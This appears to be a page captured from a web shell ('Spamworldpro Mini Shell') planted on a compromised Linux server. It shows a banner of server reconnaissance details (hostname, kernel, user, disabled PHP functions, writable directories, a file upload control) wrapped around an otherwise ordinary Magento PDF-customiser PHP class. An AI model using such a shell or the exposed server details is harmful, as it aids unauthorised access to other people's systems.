Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/fooman/pdfcustomiser-implementation-m2/src/Block/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/fooman/pdfcustomiser-implementation-m2/src/Block/AbstractSalesDocument.php
<?php
namespace Fooman\PdfCustomiser\Block;

// phpcs:disable Generic.Metrics.NestingLevel.TooHigh
/**
 * Parent class for all sales document pdfs
 *
 * @author     Kristof Ringleff
 * @copyright  Copyright (c) 2009 Fooman Limited (http://www.fooman.co.nz)
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

use Fooman\PdfCore\Helper\Logo;
use Fooman\PdfCore\Helper\ParamKey;
use Fooman\PdfCore\Model\IntegratedLabels\ContentFactory;
use Fooman\PdfCore\Model\Template;
use Fooman\PdfCustomiser\Block\Pdf\AddressFormatter;
use Fooman\PdfDesign\Model\DesignProvider;
use Magento\Backend\Block\Template\Context;
use Magento\Customer\Api\CustomerRepositoryInterface;
use Magento\Framework\App\ObjectManager;
use Magento\Framework\Filter\Input\MaliciousCode;
use Magento\GiftMessage\Api\OrderRepositoryInterface;
use Magento\Payment\Helper\Data;

abstract class AbstractSalesDocument extends \Fooman\PdfCore\Block\Pdf\DocumentRenderer
{
    const XML_PATH_OWNERADDRESS = 'sales_pdf/all/allowneraddress';
    const XML_PATH_DISPLAYBOTH = 'sales_pdf/all/displayboth';

    const LAYOUT_HANDLE= 'fooman_pdfcustomiser';
    const PDF_TYPE = '';

    /**
     * @var \Magento\Framework\Stdlib\DateTime\TimezoneInterface
     */
    protected $timezone;

    /**
     * @var \Magento\Payment\Helper\Data
     */
    protected $paymentHelper;

    /**
     * @var \Fooman\PdfCore\Helper\Logo
     */
    protected $logoHelper;

    /**
     * @var string
     */
    protected $integratedLabelsConfigPath;

    /**
     * @var \Magento\GiftMessage\Api\OrderRepositoryInterface
     */
    protected $giftMessageOrderRepo;

    /**
     * @var \Fooman\PdfCore\Helper\ParamKey
     */
    protected $paramKeyHelper;

    /**
     * @var \Fooman\PdfCore\Model\IntegratedLabels\ContentFactory
     */
    private $integratedLabelsContentFactory;

    /**
     * @var \Fooman\PdfDesign\Model\DesignProvider
     */
    private $designProvider;

    /**
     * @var AddressFormatter
     */
    private $addressFormatter;

    /**
     * @var CustomerRepositoryInterface
     */
    private $customerRepo;

    /**
     * we probably need to use \Magento\Sales\Api\Data\OrderInterface here eventually
     * however the current code base around the address renderer does not use interfaces
     *
     * @return \Magento\Sales\Model\Order
     */
    abstract public function getOrder();

    /**
     * @return mixed
     */
    abstract public function getSalesObject();

    /**
     * @param Context $context
     * @param MaliciousCode $maliciousCode
     * @param Template $template
     * @param Data $paymentHelper
     * @param Logo $logoHelper
     * @param ContentFactory $integratedLabelsContentFactory
     * @param OrderRepositoryInterface $giftMessageOrderRepo
     * @param ParamKey $paramKeyHelper
     * @param DesignProvider $designProvider
     * @param AddressFormatter $addressFormatter
     * @param CustomerRepositoryInterface|null $customerRepo
     * @param array $data
     */
    public function __construct(
        \Magento\Backend\Block\Template\Context $context,
        \Magento\Framework\Filter\Input\MaliciousCode $maliciousCode,
        \Fooman\PdfCore\Model\Template $template,
        \Magento\Payment\Helper\Data $paymentHelper,
        \Fooman\PdfCore\Helper\Logo $logoHelper,
        \Fooman\PdfCore\Model\IntegratedLabels\ContentFactory $integratedLabelsContentFactory,
        \Magento\GiftMessage\Api\OrderRepositoryInterface $giftMessageOrderRepo,
        \Fooman\PdfCore\Helper\ParamKey $paramKeyHelper,
        \Fooman\PdfDesign\Model\DesignProvider $designProvider,
        AddressFormatter $addressFormatter,
        CustomerRepositoryInterface $customerRepo = null,
        array $data = []
    ) {
        $this->timezone = $context->getLocaleDate();
        $this->paymentHelper = $paymentHelper;
        $this->logoHelper = $logoHelper;
        $this->integratedLabelsContentFactory = $integratedLabelsContentFactory;
        $this->giftMessageOrderRepo = $giftMessageOrderRepo;
        $this->paramKeyHelper = $paramKeyHelper;
        $this->designProvider = $designProvider;
        $this->addressFormatter = $addressFormatter;
        $this->customerRepo = $customerRepo ?: ObjectManager::getInstance()->get(CustomerRepositoryInterface::class);
        parent::__construct($context, $maliciousCode, $template, $data);
    }

    /**
     * @return int
     */
    public function getStoreId()
    {
        $storeId = $this->getSalesObject()->getStoreId();
        //we get a null storeId in case of a deleted store - fallback to default
        if ($storeId === null) {
            $store = $this->_storeManager->getDefaultStoreView();
            $storeId = $store->getId();
        }
        return $storeId;
    }

    public function getIncrement()
    {
        return $this->getSalesObject()->getIncrementId();
    }

    /**
     * @return array|\Magento\Sales\Model\Order[]
     * @throws \Magento\Framework\Exception\LocalizedException
     */
    public function getTemplateVars()
    {
        return array_merge(
            parent::getTemplateVars(),
            $this->getDesignPickVars(),
            [
                'pdf_design' => $this->getDesign(),
                'customer' => $this->getCustomer(),
                'pdf_type' => static::PDF_TYPE
            ]
        );
    }

    protected function getCustomer()
    {
        if (!$this->getOrder()->getCustomerId()) {
            return false;
        }
        try {
            return $this->customerRepo->getById($this->getOrder()->getCustomerId());
        } catch (\Exception $e) {
            return false;
        }
    }

    protected function getDesignPickVars()
    {
        return [
            'order' => $this->getOrder()
        ];
    }

    /**
     * @return \Fooman\PdfDesign\Model\Api\DesignInterface
     * @throws \Magento\Framework\Exception\LocalizedException
     */
    public function getDesign()
    {
        return $this->designProvider->getDesign($this->getStoreId(), $this->getDesignPickVars());
    }

    public function getLayoutHandle()
    {
        return $this->getDesign()->getLayoutHandle(static::PDF_TYPE);
    }

    protected function getIntegratedLabelsConfigPath()
    {
        if (null === $this->integratedLabelsConfigPath) {
            $entityType = $this->getSalesObject()->getEntityType();
            $this->integratedLabelsConfigPath = 'sales_pdf/' . $entityType . '/' . $entityType . 'integratedlabels';
        }
        return $this->integratedLabelsConfigPath;
    }

    public function canApplyIntegratedLabelsContent()
    {
        $value = $this->getScopeConfig()->getValue(
            $this->getIntegratedLabelsConfigPath(),
            \Magento\Store\Model\ScopeInterface::SCOPE_STORE,
            $this->getStoreId()
        );
        return (($value != '0') && (null !== $value));
    }

    /**
     * @return \Fooman\PdfCore\Model\IntegratedLabels\Content
     */
    public function getIntegratedLabelsContent()
    {
        $value = $this->getScopeConfig()->getValue(
            $this->getIntegratedLabelsConfigPath(),
            \Magento\Store\Model\ScopeInterface::SCOPE_STORE,
            $this->getStoreId()
        );

        $content = $this->integratedLabelsContentFactory->create();
        switch ($value) {
            case 'double':
                $content->setLeft($this->addressFormatter->getBillingAddress($this->getOrder()));
                $content->setRight($this->addressFormatter->getShippingAddress($this->getOrder()));
                break;
            case 'singlebilling':
                $content->setLeft($this->addressFormatter->getBillingAddress($this->getOrder()));
                break;
            case 'singleshipping':
                $content->setLeft($this->addressFormatter->getShippingAddress($this->getOrder()));
                break;
            case 'custom-left-right':
                $content->setLeft($this->getRenderedLabelContent('labelLeft'));
                $content->setRight($this->getRenderedLabelContent('labelRight'));
                break;
            case 'shipping-giftmessage':
                $content->setLeft($this->addressFormatter->getShippingAddress($this->getOrder()));
                try {
                    $giftMessage = $this->giftMessageOrderRepo->get($this->getOrder()->getEntityId());
                    $content->setRight(
                        '<table width="70mm"><tr><td align="center">'.
                        $giftMessage->getMessage().
                        '</td></tr></table>'
                    );
                } catch (\Magento\Framework\Exception\NoSuchEntityException $e) {
                    // Nothing to do - no associated gift message
                    return $content;
                }
                break;
        }
        return $content;
    }

    private function getRenderedLabelContent($side)
    {
        /** @var $this->template \Fooman\PdfCore\Model\Template */
        $this->template->setArea(\Magento\Framework\App\Area::AREA_FRONTEND);

        $this->template->setVars(
            array_merge(
                $this->getTemplateVars(),
                [
                    'billing_address' => $this->addressFormatter->getBillingAddress($this->getOrder()),
                    'shipping_address' => $this->addressFormatter->getShippingAddress($this->getOrder())
                ]
            )
        );

        $this->template->setDesignConfig(
            [
                'store' => $this->getStoreId(),
                'area' => \Magento\Framework\App\Area::AREA_FRONTEND
            ]
        );
        $labelContent = $this->template->processLayout('fooman_pdfcustomiser_integrated_'.$side);
        return  $this->maliciousCode->filter((string)$labelContent);
    }

    public function getFooterLayoutHandle()
    {
        return $this->getDesign()->getFooterLayoutHandle();
    }
}

Spamworldpro Mini